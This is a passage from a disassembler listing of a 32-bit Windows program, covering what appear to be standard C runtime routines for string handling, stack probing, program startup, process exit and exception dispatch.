					; DATA XREF: sub_402290:off_402520o
		jmp	ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_402570	dd offset loc_402580	; DATA XREF: sub_402290+1B7r
					; sub_402290:loc_402474r ...
		dd offset loc_402588
		dd offset loc_402598
		dd offset loc_4025AC
; ---------------------------------------------------------------------------


loc_402580:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402588:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_402598:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4025AC:				; CODE XREF: sub_402290+1B7j
					; sub_402290:loc_402474j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_402290	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4025D0	proc near		; CODE XREF: sub_40159E+8p
					; sub_40371C+DFp ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_4025F0


loc_4025DC:				; CODE XREF: sub_4025D0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_4025DC


loc_4025F0:				; CODE XREF: sub_4025D0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4025D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402600	proc near		; CODE XREF: sub_401A84+2Dp
					; sub_401A84+50p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_40267A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_402667


loc_402618:				; CODE XREF: sub_402600+52j
					; sub_402600+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_40263A
		test	al, al
		jz	short loc_402634


loc_402629:				; CODE XREF: sub_402600+32j
		mov	al, [esi]
		inc	esi


loc_40262C:				; CODE XREF: sub_402600+3Fj
		cmp	al, dl
		jz	short loc_40263A
		test	al, al
		jnz	short loc_402629


loc_402634:				; CODE XREF: sub_402600+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40263A:				; CODE XREF: sub_402600+23j
					; sub_402600+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_40262C
		lea	edi, [esi-1]


loc_402644:				; CODE XREF: sub_402600+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_402673
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_402618
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_402673
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_402644
		jmp	short loc_402618
; ---------------------------------------------------------------------------


loc_402667:				; CODE XREF: sub_402600+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	sub_402996
; ---------------------------------------------------------------------------


loc_402673:				; CODE XREF: sub_402600+49j
					; sub_402600+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_40267A:				; CODE XREF: sub_402600+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_402600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402680	proc near		; CODE XREF: sub_401B08+103p
					; sub_401B08+14Cp

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_402699:				; CODE XREF: sub_402680+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_402699
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4026C1
		mov	edx, ds:dword_406F3C


loc_4026C1:				; CODE XREF: sub_402680+39j
					; sub_402680+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_4026E1
		test	al, al
		jz	short loc_4026E1
		inc	edx
		jmp	short loc_4026C1
; ---------------------------------------------------------------------------


loc_4026E1:				; CODE XREF: sub_402680+58j
					; sub_402680+5Cj
		mov	ebx, edx


loc_4026E3:				; CODE XREF: sub_402680+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_402707
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_402703
		inc	edx
		jmp	short loc_4026E3
; ---------------------------------------------------------------------------


loc_402703:				; CODE XREF: sub_402680+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_402707:				; CODE XREF: sub_402680+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_406F3C, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_402680	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402720	proc near		; CODE XREF: sub_401B08+E9p
					; sub_401B08+270p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_402791
sub_402720	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402730	proc near		; CODE XREF: sub_401EF0+108p
					; sub_401EF0+117p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_40274C


loc_40273D:				; CODE XREF: sub_402730+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_40277F
		test	ecx, 3
		jnz	short loc_40273D


loc_40274C:				; CODE XREF: sub_402730+Bj
					; sub_402730+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_40274C
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_40278E
		test	ah, ah
		jz	short loc_402789
		test	eax, 0FF0000h
		jz	short loc_402784
		test	eax, 0FF000000h
		jz	short loc_40277F
		jmp	short loc_40274C
; ---------------------------------------------------------------------------


loc_40277F:				; CODE XREF: sub_402730+12j
					; sub_402730+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_402784:				; CODE XREF: sub_402730+44j
		lea	edi, [ecx-2]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_402789:				; CODE XREF: sub_402730+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_402791
; ---------------------------------------------------------------------------


loc_40278E:				; CODE XREF: sub_402730+39j
		lea	edi, [ecx-4]


loc_402791:				; CODE XREF: sub_402720+5j
					; sub_402730+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_4027B6


loc_40279D:				; CODE XREF: sub_402730+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_402808
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_40279D
		jmp	short loc_4027B6
; ---------------------------------------------------------------------------


loc_4027B1:				; CODE XREF: sub_402730+9Ej
					; sub_402730+B8j
		mov	[edi], edx
		add	edi, 4


loc_4027B6:				; CODE XREF: sub_402730+6Bj
					; sub_402730+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4027B1
		test	dl, dl
		jz	short loc_402808
		test	dh, dh
		jz	short loc_4027FF
		test	edx, 0FF0000h
		jz	short loc_4027F2
		test	edx, 0FF000000h
		jz	short loc_4027EA
		jmp	short loc_4027B1
; ---------------------------------------------------------------------------


loc_4027EA:				; CODE XREF: sub_402730+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4027F2:				; CODE XREF: sub_402730+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4027FF:				; CODE XREF: sub_402730+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_402808:				; CODE XREF: sub_402730+72j
					; sub_402730+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_402730	endp


; =============== S U B	R O U T	I N E =======================================



sub_402810	proc near		; CODE XREF: sub_401E30+19p

arg_0		= dword	ptr  4

		cmp	ds:dword_406CEC, 1
		jle	short loc_40282A
		push	107h
		push	[esp+4+arg_0]
		call	sub_402A4C
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40282A:				; CODE XREF: sub_402810+7j
		mov	eax, [esp+arg_0]
		mov	ecx, ds:off_406AE0
		mov	ax, [ecx+eax*2]
		and	eax, 107h
		retn
sub_402810	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40283E	proc near		; CODE XREF: start+7j

var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= byte ptr -5Ch
var_30		= dword	ptr -30h
var_2C		= word ptr -2Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_405128
		push	offset sub_4034B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		call	ds:dword_4050AC	; GetVersion
		xor	edx, edx
		mov	dl, ah
		mov	ds:dword_406F64, edx
		mov	ecx, eax
		and	ecx, 0FFh
		mov	ds:dword_406F60, ecx
		shl	ecx, 8
		add	ecx, edx
		mov	ds:dword_406F5C, ecx
		shr	eax, 10h
		mov	ds:dword_406F58, eax
		xor	esi, esi
		push	esi
		call	sub_403382
		pop	ecx
		test	eax, eax
		jnz	short loc_4028AA
		push	1Ch
		call	sub_402959
		pop	ecx


loc_4028AA:				; CODE XREF: sub_40283E+62j
		mov	[ebp+var_4], esi
		call	sub_4031D7
		call	ds:dword_4050A8	; GetCommandLineA
		mov	ds:dword_407458, eax
		call	sub_4030A5
		mov	ds:dword_406F40, eax
		call	sub_402E58
		call	sub_402D9F
		call	sub_402AC1
		mov	[ebp+var_30], esi
		lea	eax, [ebp+var_5C]
		push	eax
		call	ds:dword_4050A4	; GetStartupInfoA
		call	sub_402D47
		mov	[ebp+var_64], eax
		test	byte ptr [ebp+var_30], 1
		jz	short loc_4028F7
		movzx	eax, [ebp+var_2C]
		jmp	short loc_4028FA
; ---------------------------------------------------------------------------


loc_4028F7:				; CODE XREF: sub_40283E+B1j
		push	0Ah
		pop	eax


loc_4028FA:				; CODE XREF: sub_40283E+B7j
		push	eax
		push	[ebp+var_64]
		push	esi
		push	esi
		call	ds:dword_4050A0	; GetModuleHandleA
		push	eax
		call	sub_402029
		mov	[ebp+var_60], eax
		push	eax
		call	sub_402AEE
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		mov	ecx, [ecx]
		mov	[ebp+var_68], ecx
		push	eax
		push	ecx
		call	sub_402BC3
		pop	ecx
		pop	ecx
		retn
sub_40283E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		push	dword ptr [ebp-68h]
		call	sub_402AFF

; =============== S U B	R O U T	I N E =======================================



sub_402934	proc near		; CODE XREF: sub_402D9F+4Ep
					; sub_402D9F+7Dp ...

arg_0		= dword	ptr  4

		cmp	ds:dword_406F48, 1
		jnz	short loc_402942
		call	sub_403590


loc_402942:				; CODE XREF: sub_402934+7j
		push	[esp+arg_0]
		call	sub_4035C9
		push	0FFh
		call	ds:off_406AD0
		pop	ecx
		pop	ecx
		retn
sub_402934	endp


; =============== S U B	R O U T	I N E =======================================



sub_402959	proc near		; CODE XREF: sub_40283E+66p

arg_0		= dword	ptr  4

		cmp	ds:dword_406F48, 1
		jnz	short loc_402967
		call	sub_403590


loc_402967:				; CODE XREF: sub_402959+7j
		push	[esp+arg_0]
		call	sub_4035C9
		pop	ecx
		push	0FFh
		call	ds:dword_4050B0	; ExitProcess
		retn
sub_402959	endp

; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_402996


loc_402980:				; CODE XREF: sub_402996+17j
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_402996
; ---------------------------------------------------------------------------
		align 10h
		xor	eax, eax
		mov	al, [esp+8]

; =============== S U B	R O U T	I N E =======================================



sub_402996	proc near		; CODE XREF: sub_402600+6Ej

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00402980 SIZE 00000005 BYTES

		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_4029BB


loc_4029A8:				; CODE XREF: sub_402996+23j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_402980
		test	cl, cl
		jz	short loc_402A04
		test	edx, 3
		jnz	short loc_4029A8


loc_4029BB:				; CODE XREF: sub_402996+10j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_4029C6:				; CODE XREF: sub_402996+5Bj
					; sub_402996+6Aj ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_402A08
		and	eax, 81010100h
		jz	short loc_4029C6
		and	eax, 1010100h
		jnz	short loc_402A02
		and	esi, 80000000h
		jnz	short loc_4029C6


loc_402A02:				; CODE XREF: sub_402996+62j
					; sub_402996+7Bj ...
		pop	esi
		pop	edi


loc_402A04:				; CODE XREF: sub_402996+1Bj
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_402A08:				; CODE XREF: sub_402996+54j
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_402A45
		test	al, al
		jz	short loc_402A02
		cmp	ah, bl
		jz	short loc_402A3E
		test	ah, ah
		jz	short loc_402A02
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_402A37
		test	al, al
		jz	short loc_402A02
		cmp	ah, bl
		jz	short loc_402A30
		test	ah, ah
		jz	short loc_402A02
		jmp	short loc_4029C6
; ---------------------------------------------------------------------------


loc_402A30:				; CODE XREF: sub_402996+92j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A37:				; CODE XREF: sub_402996+8Aj
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A3E:				; CODE XREF: sub_402996+7Fj
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_402A45:				; CODE XREF: sub_402996+77j
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_402996	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402A4C	proc near		; CODE XREF: sub_402810+12p

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_402A6A
		mov	ecx, ds:off_406AE0
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_402ABC
; ---------------------------------------------------------------------------


loc_402A6A:				; CODE XREF: sub_402A4C+10j
		mov	ecx, eax
		push	esi
		mov	esi, ds:off_406AE0
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_402A8F
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_402A98
; ---------------------------------------------------------------------------


loc_402A8F:				; CODE XREF: sub_402A4C+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_402A98:				; CODE XREF: sub_402A4C+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_40371C
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_402AB8
		leave
		retn
; ---------------------------------------------------------------------------


loc_402AB8:				; CODE XREF: sub_402A4C+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_402ABC:				; CODE XREF: sub_402A4C+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_402A4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AC1	proc near		; CODE XREF: sub_40283E+93p
		mov	eax, ds:dword_407454
		test	eax, eax
		jz	short loc_402ACC
		call	eax


loc_402ACC:				; CODE XREF: sub_402AC1+7j
		push	offset dword_406010
		push	offset dword_406008
		call	sub_402BA9
		push	offset dword_406004
		push	offset dword_406000
		call	sub_402BA9
		add	esp, 10h
		retn
sub_402AC1	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AEE	proc near		; CODE XREF: sub_40283E+D2p

arg_0		= dword	ptr  4

		push	0
		push	0
		push	[esp+8+arg_0]
		call	sub_402B10
		add	esp, 0Ch
		retn
sub_402AEE	endp


; =============== S U B	R O U T	I N E =======================================



sub_402AFF	proc near		; CODE XREF: .text:0040292Fp
					; sub_402934+1Cp
					; DATA XREF: ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_402B10
		add	esp, 0Ch
		retn
sub_402AFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_402B10	proc near		; CODE XREF: sub_402AEE+8p
					; sub_402AFF+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	ds:dword_406F94, edi
		jnz	short loc_402B2D
		push	[esp+4+arg_0]
		call	ds:dword_4050B8	; GetCurrentProcess
		push	eax
		call	ds:dword_4050B4	; TerminateProcess


loc_402B2D:				; CODE XREF: sub_402B10+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	ds:dword_406F90, edi
		mov	ds:byte_406F8C,	bl
		jnz	short loc_402B81
		mov	eax, ds:dword_407450
		test	eax, eax
		jz	short loc_402B70
		mov	ecx, ds:dword_40744C
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_402B6F


loc_402B5C:				; CODE XREF: sub_402B10+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402B64
		call	eax


loc_402B64:				; CODE XREF: sub_402B10+50j
		sub	esi, 4
		cmp	esi, ds:dword_407450
		jnb	short loc_402B5C


loc_402B6F:				; CODE XREF: sub_402B10+4Aj
		pop	esi


loc_402B70:				; CODE XREF: sub_402B10+3Cj
		push	offset dword_406018
		push	offset dword_406014
		call	sub_402BA9
		pop	ecx
		pop	ecx


loc_402B81:				; CODE XREF: sub_402B10+33j
		push	offset dword_406020
		push	offset dword_40601C
		call	sub_402BA9
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_402BA7
		push	[esp+4+arg_0]
		mov	ds:dword_406F94, edi
		call	ds:dword_4050B0	; ExitProcess


loc_402BA7:				; CODE XREF: sub_402B10+85j
		pop	edi
		retn
sub_402B10	endp


; =============== S U B	R O U T	I N E =======================================



sub_402BA9	proc near		; CODE XREF: sub_402AC1+15p
					; sub_402AC1+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_402BAE:				; CODE XREF: sub_402BA9+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_402BC1
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_402BBC
		call	eax


loc_402BBC:				; CODE XREF: sub_402BA9+Fj
		add	esi, 4
		jmp	short loc_402BAE
; ---------------------------------------------------------------------------


loc_402BC1:				; CODE XREF: sub_402BA9+9j
		pop	esi
		retn
sub_402BA9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402BC3	proc near		; CODE XREF: sub_40283E+E3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	[ebp+arg_0]
		call	sub_402D04
		test	eax, eax
		pop	ecx
		jz	loc_402CF8
		mov	ebx, [eax+8]
		test	ebx, ebx
		jz	loc_402CF8
		cmp	ebx, 5
		jnz	short loc_402BF4
		and	dword ptr [eax+8], 0
		push	1
		pop	eax
		jmp	loc_402D01
; ---------------------------------------------------------------------------


loc_402BF4:				; CODE XREF: sub_402BC3+23j
		cmp	ebx, 1
		jz	loc_402CF3
		mov	ecx, ds:dword_406F98
		mov	[ebp+arg_0], ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_406F98, ecx
		mov	ecx, [eax+4]
		cmp	ecx, 8
		jnz	loc_402CE3
		mov	ecx, ds:dword_406D70
		mov	edx, ds:dword_406D74
		add	edx, ecx
		push	esi
		cmp	ecx, edx
		jge	short loc_402C43
		lea	esi, [ecx+ecx*2]
		sub	edx, ecx
		lea	esi, ds:406D00h[esi*4]


loc_402C3A:				; CODE XREF: sub_402BC3+7Ej
		and	dword ptr [esi], 0
		add	esi, 0Ch
		dec	edx
		jnz	short loc_402C3A


loc_402C43:				; CODE XREF: sub_402BC3+69j
		mov	eax, [eax]
		mov	esi, ds:dword_406D7C
		cmp	eax, 0C000008Eh
		jnz	short loc_402C5E
		mov	ds:dword_406D7C, 83h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C5E:				; CODE XREF: sub_402BC3+8Dj
		cmp	eax, 0C0000090h
		jnz	short loc_402C71
		mov	ds:dword_406D7C, 81h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C71:				; CODE XREF: sub_402BC3+A0j
		cmp	eax, 0C0000091h
		jnz	short loc_402C84
		mov	ds:dword_406D7C, 84h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C84:				; CODE XREF: sub_402BC3+B3j
		cmp	eax, 0C0000093h
		jnz	short loc_402C97
		mov	ds:dword_406D7C, 85h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402C97:				; CODE XREF: sub_402BC3+C6j
		cmp	eax, 0C000008Dh
		jnz	short loc_402CAA
		mov	ds:dword_406D7C, 82h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402CAA:				; CODE XREF: sub_402BC3+D9j
		cmp	eax, 0C000008Fh
		jnz	short loc_402CBD
		mov	ds:dword_406D7C, 86h
		jmp	short loc_402CCE
; ---------------------------------------------------------------------------


loc_402CBD:				; CODE XREF: sub_402BC3+ECj
		cmp	eax, 0C0000092h
		jnz	short loc_402CCE
		mov	ds:dword_406D7C, 8Ah


loc_402CCE:				; CODE XREF: sub_402BC3+99j
					; sub_402BC3+ACj ...
		push	ds:dword_406D7C
		push	8
		call	ebx	; _lread
		pop	ecx
		mov	ds:dword_406D7C, esi
		pop	ecx
		pop	esi
		jmp	short loc_402CEB
; ---------------------------------------------------------------------------


loc_402CE3:				; CODE XREF: sub_402BC3+52j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx	; _lread
		pop	ecx


loc_402CEB:				; CODE XREF: sub_402BC3+11Ej
		mov	eax, [ebp+arg_0]
		mov	ds:dword_406F98, eax


loc_402CF3:				; CODE XREF: sub_402BC3+34j
		or	eax, 0FFFFFFFFh
		jmp	short loc_402D01
; ---------------------------------------------------------------------------


loc_402CF8:				; CODE XREF: sub_402BC3+Fj
					; sub_402BC3+1Aj
		push	[ebp+arg_4]
		call	ds:dword_4050BC	; UnhandledExceptionFilter


loc_402D01:				; CODE XREF: sub_402BC3+2Cj
					; sub_402BC3+133j
		pop	ebx
		pop	ebp
		retn
sub_402BC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D04	proc near		; CODE XREF: sub_402BC3+7p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_406D78
		cmp	ds:dword_406CF8, edx
		push	esi
		mov	eax, offset dword_406CF8
		jz	short loc_402D31
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:406CF8h[esi*4]


loc_402D26:				; CODE XREF: sub_402D04+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_402D31
		cmp	[eax], edx
		jnz	short loc_402D26


loc_402D31:				; CODE XREF: sub_402D04+16j
					; sub_402D04+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:406CF8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_402D44
		cmp	[eax], edx
		jz	short locret_402D46


loc_402D44:				; CODE XREF: sub_402D04+3Aj
		xor	eax, eax

locret_402D46:				; CODE XREF: sub_402D04+3Ej
		retn
sub_402D04	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D47	proc near		; CODE XREF: sub_40283E+A5p
		cmp	ds:dword_407448, 0
		jnz	short loc_402D55
		call	sub_403C6B


loc_402D55:				; CODE XREF: sub_402D47+7j
		push	esi
		mov	esi, ds:dword_407458
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_402D87


loc_402D62:				; CODE XREF: sub_402D47+33j
					; sub_402D47+36j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_402D7F
		test	al, al
		jz	short loc_402D7F
		movzx	eax, al
		push	eax
		call	sub_403865
		test	eax, eax
		pop	ecx
		jz	short loc_402D62
		inc	esi
		jmp	short loc_402D62
; ---------------------------------------------------------------------------


loc_402D7F:				; CODE XREF: sub_402D47+21j
					; sub_402D47+25j
		cmp	byte ptr [esi],	22h
		jnz	short loc_402D91


loc_402D84:				; CODE XREF: sub_402D47+52j
		inc	esi
		jmp	short loc_402D91
; ---------------------------------------------------------------------------


loc_402D87:				; CODE XREF: sub_402D47+19j
		cmp	al, 20h
		jbe	short loc_402D91


loc_402D8B:				; CODE XREF: sub_402D47+48j
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_402D8B


loc_402D91:				; CODE XREF: sub_402D47+3Bj
					; sub_402D47+3Ej ...
		mov	al, [esi]
		test	al, al
		jz	short loc_402D9B
		cmp	al, 20h
		jbe	short loc_402D84


loc_402D9B:				; CODE XREF: sub_402D47+4Ej
		mov	eax, esi
		pop	esi
		retn
sub_402D47	endp


; =============== S U B	R O U T	I N E =======================================



sub_402D9F	proc near		; CODE XREF: sub_40283E+8Ep
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_407448, ebx
		push	esi
		push	edi
		jnz	short loc_402DB1
		call	sub_403C6B


loc_402DB1:				; CODE XREF: sub_402D9F+Bj
		mov	esi, ds:dword_406F40
		xor	edi, edi


loc_402DB9:				; CODE XREF: sub_402D9F+30j
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_402DD1
		cmp	al, 3Dh
		jz	short loc_402DC4
		inc	edi


loc_402DC4:				; CODE XREF: sub_402D9F+22j
		push	esi
		call	sub_402210
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_402DB9
; ---------------------------------------------------------------------------


loc_402DD1:				; CODE XREF: sub_402D9F+1Ej
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_403CB6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	ds:dword_406F74, esi
		jnz	short loc_402DF3
		push	9
		call	sub_402934
		pop	ecx


loc_402DF3:				; CODE XREF: sub_402D9F+4Aj
